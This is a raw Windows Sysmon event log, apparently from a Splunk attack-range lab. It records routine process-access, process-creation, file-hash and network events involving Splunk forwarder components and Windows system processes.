15:00:33.854{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016757Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:33.854{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016756Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:33.854{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7311-613B-0805-00000000F101}2684C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016755Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:33.854{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7311-613B-0805-00000000F101}2684C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016754Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:33.856{625C326B-7311-613B-0805-00000000F101}2684C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016753Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:33.714{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A9EBAD2D95A53F5B30EA926A95BAAA62,SHA256=0E40CB182A1B606CD35B409BE83859B43C37B5CFBF23BD81EB08A526762D3754,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:33.262{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7CA46BA3E24C9ABC5AF27BA847B173F5,SHA256=D9E21AB70C8844F30F650B61F346D61085A9B2A90091224E13EBE786CDE8607D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016752Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.457{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50312-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016769Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:34.761{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=41624928463051F393DAAF3298EB20D6,SHA256=D6ADE59851BF52404D187ED113CC4C500B2E36B8E48CD2D3081AD0C0290167C1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:34.294{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D6DF6FB3F81248135C754A96DDD04AE5,SHA256=239335D11555705DF5D4FEDFB91FDB389358C0BC04E695A20DF2C3074011EB61,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016768Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:34.058{625C326B-7311-613B-0805-00000000F101}26842488C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000016797Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.776{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A836BFAAC6615913AE53F66883EF4C4B,SHA256=ED37A6E41A34BC911FD15B347A64B719AE514C7038843AC90FB3F478007AF3CD,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016796Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.776{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7313-613B-0A05-00000000F101}3112C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016795Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.776{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016794Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.776{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016793Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.776{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016792Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.776{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016791Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.776{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016790Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.776{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016789Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.776{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016788Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.776{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7313-613B-0A05-00000000F101}3112C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016787Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.776{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016786Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.776{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016785Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.776{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7313-613B-0A05-00000000F101}3112C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016784Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.777{625C326B-7313-613B-0A05-00000000F101}3112C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000052433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:35.295{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E56ED1968D7E14183186D2B9E5790568,SHA256=C472794023A09C2DE37214B7DD7AC69652A151ACA842AAA2E5DC446834F7C02F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016783Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.339{625C326B-7313-613B-0905-00000000F101}26483640C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016782Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.104{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7313-613B-0905-00000000F101}2648C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016781Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.104{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016780Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.104{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016779Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.104{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016778Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 